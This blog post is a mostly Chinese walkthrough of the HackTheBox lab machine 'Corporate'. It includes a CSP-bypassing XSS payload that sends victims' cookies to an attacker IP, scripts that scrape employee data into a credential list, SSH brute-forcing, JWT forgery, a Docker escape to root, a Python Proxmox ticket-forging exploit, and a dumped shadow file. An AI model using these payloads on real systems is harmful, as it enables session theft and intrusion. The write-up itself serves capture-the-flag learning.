Zumpyx's Blog

Corporate

Machines#581InsaneLinux

Recon & Enum

export IP=10.10.11.246

Nmap

  • nmap -sC -A -p$(nmap -p- --min-rate 1000 -T4 $IP -oN nmap.txt --append-out | grep '/tcp' | awk -F '/' '{print $1}' | tr '\n' ',') $IP -oN nmap.txt --append-out
PORT   STATE SERVICE VERSION
80/tcp open  http    OpenResty web app server 1.21.4.3
|_http-server-header: openresty/1.21.4.3
|_http-title: Did not follow redirect to http://corporate.htb

Web - corporate.htb

image-20240122132742909

  • whatweb http://corporate.htb/
http://corporate.htb/ [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[[email protected]], Frame, HTML5
IP[10.10.11.246], JQuery, Script, Title[Corporate.HTB]
UncommonHeaders[content-security-policy,x-content-type-options,x-xss-options], X-Frame-Options[DENY]
  • feroxbuster -u http://corporate.htb/ -o ferobuster.log
200      GET       18l       81w     5041c http://corporate.htb/assets/images/services-01.jpg
200      GET      186l      505w     4928c http://corporate.htb/assets/css/owl.css
200      GET       11l       57w     4444c http://corporate.htb/assets/images/services-04.jpg
200      GET       20l       38w      316c http://corporate.htb/assets/css/chat.css
...	# 没发现什么有价值的目录
  • ffuf -u 'http://corporate.htb/' -H 'Host: FUZZ.corporate.htb' -w subdomains-top1million-20000.txt -fc 301
support                 [Status: 200, Size: 1725, Words: 383, Lines: 39, Duration: 223ms]
git                     [Status: 403, Size: 159, Words: 3, Lines: 8, Duration: 246ms]
sso                     [Status: 302, Size: 38, Words: 4, Lines: 1, Duration: 629ms]
people                  [Status: 302, Size: 32, Words: 4, Lines: 1, Duration: 236ms]

support.corporate.htb

image-20240122132703820

  • 如果消息发送超时,就会断开会话

image-20240122132928363

  • 测试可以 XSS

image-20240122134504677

  • 但是有 CSP 限制

image-20240122134854999

https://book.hacktricks.xyz/pentesting-web/content-security-policy-csp-bypass

  • 寻找其他 xss 生成 JS 代码进行利用

image-20240122135517818

  • 这里生成了代码,但是没法直接执行,找到 http://corporate.htb/[xss] 可以加载本地来源的代码

  • http://corporate.htb/<script src="http://corporate.htb/assets/js/analytics.min.js?v=1));alert(1);//"></script>

image-20240122141951118

提示 _analytics 为定义,需要加载 /vendor/analytics.min.js

  • http://corporate.htb/<script src="/vendor/analytics.min.js"></script> <script src="http://corporate.htb/assets/js/analytics.min.js?v=1));alert(1);//"></script>

image-20240122142057654

  • 构造 Payload document.location = "http://10.10.16.7/" + document.cookie;
http://corporate.htb/<script src='/vendor/analytics.min.js'></script> <script src='http://corporate.htb/assets/js/analytics.min.js?v=1));document.location="http://10.10.16.7/"+document.cookie;//'></script>
  • 尝试访问,失败

image-20240122145331695

  • 去掉引号

image-20240122144241436

document.location=String.fromCharCode(104,116,116,112,58,47,47,49,48,46,49,48,46,49,54,46,55,47).concat(btoa(document.cookie));
  • Payload
http://corporate.htb/<script src='/vendor/analytics.min.js'></script> <script src='http://corporate.htb/assets/js/analytics.min.js?v=1));document.location=String.fromCharCode(104,116,116,112,58,47,47,49,48,46,49,48,46,49,54,46,55,47).concat(btoa(document.cookie));//'></script>
  • 尝试访问,跳转成功

image-20240122145402094

  • 伪造一个子页面
<meta http-equiv="refresh" content="0; url=http://corporate.htb/<script src='/vendor/analytics.min.js'></script> <script src='http://corporate.htb/assets/js/analytics.min.js?v=1));document.location=String.fromCharCode(104,116,116,112,58,47,47,49,48,46,49,48,46,49,54,46,55,47).concat(btoa(document.cookie));//'></script>" />
  • 获取 Cookie,当对方亮起 Support is typing 时发送,页面跳转,Get Cookie

image-20240122145454310

image-20240122145535131

  • Cookie 有编号,猜测有多名客服

image-20240122145840545

  • 第二个 Cookie

image-20240122150017666

  • Cookies
[email protected]:
CorporateSSO=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NTA2OSwibmFtZSI6IkphbW1pZSIsInN1cm5hbWUiOiJDb3JrZXJ5IiwiZW1haWwiOiJKYW1taWUuQ29ya2VyeUBjb3Jwb3JhdGUuaHRiIiwicm9sZXMiOlsic2FsZXMiXSwicmVxdWlyZUN1cnJlbnRQYXNzd29yZCI6dHJ1ZSwiaWF0IjoxNzA1OTA2NDM2LCJleHAiOjE3MDU5OTI4MzZ9.m-IepyYhvg13vfNR0oKWRJlhlb3q0DrB9hXRyOeqCOg

[email protected]:
CorporateSSO=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NTA3MSwibmFtZSI6Ikp1bGlvIiwic3VybmFtZSI6IkRhbmllbCIsImVtYWlsIjoiSnVsaW8uRGFuaWVsQGNvcnBvcmF0ZS5odGIiLCJyb2xlcyI6WyJzYWxlcyJdLCJyZXF1aXJlQ3VycmVudFBhc3N3b3JkIjp0cnVlLCJpYXQiOjE3MDU5MDY3MTAsImV4cCI6MTcwNTk5MzExMH0.v9ypNdJXg-7zU7pdinEeFSpMAESqQ7Z0DMXTjPeL6Sk

sso.corporate.htb

image-20240122150945229

单点登录

people.corporate.htb

image-20240122151057020

  • 点击登录会跳转到 SSO,这里尝试使用 Cookie,清除已有 Cookie,添加一个,把之前捕获的 Cookie base64 解码

image-20240122154016882

image-20240122154609634

Shell as VM-User - elwin.jones

  • 发现很多文件

image-20240122171526582

  • 无法遍历所有文件

image-20240122171610198

  • 可以分享,尝试分享给自己,并不可以

image-20240122171911530

  • 分享给另一个客服

image-20240122171846810

  • 发现可以遍历文件 ID

image-20240122172008291

  • 把所有文件都分享过去

image-20240122172104923

image-20240122172231068

  • 页面似乎无法全面显示

image-20240122172523423

  • 文件似乎会定期清理,观察文件名

image-20240122173423119

  • 发现一个异类,PDF 文件

image-20240122173544521

  • 查看文件内容,发现是针对新员工的公司介绍,其中包含初始密码的设置规则

image-20240122173718071

  • 站点可以看到所有人的个人信息,包括生日,邮箱,全部爬取下来

image-20240122173941583

  • Payload
for i in `seq 80`; do curl -s "http://people.corporate.htb/employee/$((5000+i))" \
  -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' \
  -H 'Accept-Language: en' \
  -H 'Cookie: CorporateSSO=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NTA3MSwibmFtZSI6Ikp1bGlvIiwic3VybmFtZSI6IkRhbmllbCIsImVtYWlsIjoiSnVsaW8uRGFuaWVsQGNvcnBvcmF0ZS5odGIiLCJyb2xlcyI6WyJzYWxlcyJdLCJyZXF1aXJlQ3VycmVudFBhc3N3b3JkIjp0cnVlLCJpYXQiOjE3MDU5MDY3MTAsImV4cCI6MTcwNTk5MzExMH0.v9ypNdJXg-7zU7pdinEeFSpMAESqQ7Z0DMXTjPeL6Sk; session=eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOltdfX0=; session.sig=DxLsq3QkzoTlRsnqs219botoeaQ' \
  -H 'Proxy-Connection: keep-alive' \
  -H 'Upgrade-Insecure-Requests: 1' \
  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36' \
  --compressed \
  --insecure | grep -oE '[a-zA-Z0-9]*.[a-zA-Z0-9]*@corporate.htb<|[0-9]{1,2}/[0-9]{1,2}/[0-9]{4}' | tr '\n' ' ' | sed 's/< /\/CorporateStarter\//g'; echo ; done | tee cred.list

image-20240122201520828

  • 为什么用 / 分割,马上就知道了,对数据进一步处理
cat cred.list | grep -v ^$ | awk -F '/' '{printf "%s:%s%.2d%.2d%d\n", $1, $2, $3, $4, $5}'

image-20240122202651697

  • 连接公司的 VPN 发现两个 C 段

image-20240122202011556

  • 发现另一个机器

image-20240122202336246

猜测 10.9.0.4 是虚拟机,10.8.0.1 和 10.9.0.1 是主机

  • Nmap 扫描

image-20240123080609538

image-20240122202506304

  • 可以看到是 PVE

image-20240123081721302

  • SSH Brute - PVE 主机没有成功,虚拟机倒是有个账号 hydra -C cred.list ssh://10.9.0.4

image-20240122205745848

尝试登录,发现在 IT 组,但不是 sudoers

image-20240123082014079

Shell as VM-User - arch.ryan

  • 查看 10.9.0.1:3004 发现是个 git 页面,登录需要二次验证

image-20240123110331104

  • 发现 elwin.jones 目录下有 firefox 相关目录

image-20240123111322314

  • 下载后放到本地,第一行要修改和本地的一样

image-20240123112952929

  • 安装插件,发现用的是 bitwarden 四位 pin 码

image-20240123113519953

image-20240123113752090

  • 尝试爆破

https://github.com/ambiso/bitwarden-pin

  • 查看源码,需要 json 数据

image-20240123144240912

  • Inspect 插件获取

image-20240123144208260

  • 查看源码,需要修改三处,删除 env 引用,文件路径,rounds

image-20240123145119003

  • 因为在 json 数据中

image-20240123144845763

  • cargo run -r

image-20240123145534199

  • 拿到 TOTP

image-20240123145624849

  • 发现三个项目,需要搜索敏感信息

image-20240123150412206

  • 发现某个版本 JWT 从 Env 中获取

image-20240123151041799

  • 在 ourpeople 中找到 JWT_SECRET=09cb527651c4bd385483815627e6241bdf40042a`

image-20240123151550087

有了 JWT_SECRET 可以伪造 Cookie

  • 本地发现 docker,home 目录是挂载过来的,那现在的目标就是获取 10.9.0.4 的 root

image-20240123152053820

  • 发现一个用户组有 docker 权限

image-20240123152355622

  • 找到组内成员

image-20240123152759349

  • 查看 arch.ryan 信息

image-20240123153838682

  • 查看 SSO 源码,发现如果 user.requireCurrentPassword 判断失败就不需要旧密码,就能修改密码

image-20240123153049173

  • 首先登录 elwin.jones 账号

image-20240123153556963

  • JWT 伪造,修改 id、name、surname、requireCurrentPassword

image-20240123154212185

  • 修改 Cookie 后尝试修改 arch.ryan 的密码

image-20240123154312817

  • 成功切换用户

image-20240123154351666

Shell as VM-Root

  • 但是 docker 没有镜像,需要上传一个

image-20240123155507400

  • 本地导出 docker image
docker pull alpine:latest
docker save alpine:latest | gzip > alpine.tar.gz
docker load < alpine.tar.gz
  • 导入 image

image-20240123155531729

  • docker to root
docker run -v /root/:/mnt -it alpine
cd /mnt/.ssh
echo '' >> authorized_keys

image-20240123160014160

  • 获取 VM root

image-20240123160044476

Shell as User - sysadmin

  • 挂载 PVE / 目录,发现只有 home 目录

image-20240123160243865

  • ldap 可以知道有 sysadmin 组,组内有两个成员

image-20240123160631136

  • 查看这两个 sysadmin 用户的目录,提示没有权限,需要切换 UID 才能进去

image-20240123160838234

  • ldap 查看 uid

image-20240123161156460

image-20240123161226408

  • 编辑 /etc/passwd 文件

image-20240123161341902

  • 发现 id_rsa

image-20240123161423970

  • 用户 sysadmin

image-20240123161521870

  • 登录 sysadmin

image-20240123161700664

Shell as Root

  • 找到备份文件

image-20240123162215317

通过不安全的备份文件在PMG中提升权限

https://starlabs.sg/blog/2022/12-multiple-vulnerabilites-in-proxmox-ve--proxmox-mail-gateway/

  • 源文件中 PMG 需要全部改为 PVE
import argparse
import requests
import logging
import json
import socket
import ssl
import urllib.parse
import re
import time
import subprocess
import base64
import tarfile
import io
import tempfile
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

PROXIES = {}  # {'https': '192.168.86.52:8080'}
logging.basicConfig(format='%(asctime)s - %(message)s', level=logging.INFO)


def generate_ticket(authkey_bytes, username='root@pam', time_offset=-30):
    timestamp = hex(int(time.time()) + time_offset)[2:].upper()
    plaintext = f'PVE:{username}:{timestamp}'

    authkey_path = tempfile.NamedTemporaryFile(delete=False)
    logging.info(f'writing authkey to {authkey_path.name}')
    authkey_path.write(authkey_bytes)
    authkey_path.close()

    txt_path = tempfile.NamedTemporaryFile(delete=False)
    logging.info(f'writing plaintext to {txt_path.name}')
    txt_path.write(plaintext.encode('utf-8'))
    txt_path.close()

    logging.info(f'calling openssl to sign')
    sig = subprocess.check_output(
        ['openssl', 'dgst', '-sha1', '-sign', authkey_path.name, '-out', '-', txt_path.name])
    sig = base64.b64encode(sig).decode('latin-1')

    ret = f'{plaintext}::{sig}'
    logging.info(f'generated ticket for {username}: {ret}')

    return ret

def exploit_key(username, authkey_path, target_url, generate_for):
    with open(authkey_path, "rb") as f:
    	authkey_bytes = f.read()
    new_ticket = generate_ticket(authkey_bytes)
    logging.info('veryfing ticket')
    req = requests.get(target_url, headers={'Cookie': f'PVEAuthCookie={new_ticket}'}, proxies=PROXIES,
                       verify=False)
    res = req.content.decode('utf-8')
    verify_re = re.compile('UserName: \'(.*?)\',\n\s+CSRFPreventionToken:')
    verify_result = verify_re.findall(res)
    logging.info(f'current user: {verify_result[0]}')
    logging.info(f'Cookie: PVEAuthCookie={urllib.parse.quote_plus(new_ticket)}')

def _parse_args():
    parser = argparse.ArgumentParser()
    parser.add_argument("-k", metavar="key", help="The private key file")
    parser.add_argument('-u', metavar='username', default="root@pam", help='A low privilege account in PMG')
    parser.add_argument('-p', metavar='password')
    parser.add_argument('-r', metavar='realm', default="pmg", help="Default: pmg")
    parser.add_argument('-g', metavar='generate_for', default="root@pam", help="Default: root@pam")
    parser.add_argument('-t', metavar='target_url',
                        help='Please keep the trailing slash, example: https://10.0.0.24:8006/',
                        required=True)
    return parser.parse_args()


if __name__ == '__main__':
    arg = _parse_args()
    if arg.k:
        exploit_key(arg.u, arg.k, arg.t, arg.g)
    else:
    	exploit(arg.u, arg.p, arg.r, arg.t, arg.g)
  • 找到 authkey.key
/var/backups/proxmox_backup_corporate_2023-04-15.15.36.28.tar.gz
	var/tmp/proxmox-OGXn58aE/proxmoxpve.2023-04-15.15.36.28.tar
		var/lib/pve-cluster/config.db

image-20240123173117954

  • 生成 Cookie,veryfing ticket 结果出现用户名就成功了

image-20240123191920608

  • Load cookie - Name 填 PMGAuthCookie,Value 填 Url 编码后的

image-20240123192023504

  • Web Shell

image-20240123192152657

Dump Hash

cat /etc/shadow
---
root:$y$j9T$4gVb2bPTl.mH8rioTPjdS1$D0c0Qeihkk/P3hMBbkAQYfd/pT8sCWeA5Hd6QSLVGh8:19745:0:99999:7:::
daemon:*:19438:0:99999:7:::
bin:*:19438:0:99999:7:::
sys:*:19438:0:99999:7:::
sync:*:19438:0:99999:7:::
games:*:19438:0:99999:7:::
man:*:19438:0:99999:7:::
lp:*:19438:0:99999:7:::
mail:*:19438:0:99999:7:::
news:*:19438:0:99999:7:::
uucp:*:19438:0:99999:7:::
proxy:*:19438:0:99999:7:::
www-data:*:19438:0:99999:7:::
backup:*:19438:0:99999:7:::
list:*:19438:0:99999:7:::
irc:*:19438:0:99999:7:::
gnats:*:19438:0:99999:7:::
nobody:*:19438:0:99999:7:::
_apt:*:19438:0:99999:7:::
_chrony:*:19438:0:99999:7:::
messagebus:*:19454:0:99999:7:::
_rpc:*:19454:0:99999:7:::
systemd-network:*:19454:0:99999:7:::
systemd-resolve:*:19454:0:99999:7:::
postfix:*:19454:0:99999:7:::
tcpdump:*:19454:0:99999:7:::
sshd:*:19454:0:99999:7:::
statd:*:19454:0:99999:7:::
gluster:*:19454:0:99999:7:::
tss:*:19454:0:99999:7:::
ceph:*:19454:0:99999:7:::
systemd-timesync:!*:19454::::::
systemd-coredump:!*:19454::::::
openldap:!:19454:0:99999:7:::
git:*:19455:0:99999:7:::
sysadmin:$y$j9T$E2kQZ9TL6csvgTjXCvlau/$r4Y9/c5O8UQcdCVNKdPXn69PhHC35T59bpfjiUKEkoD:19462:0:99999:7:::
_laurel:!:19688::::::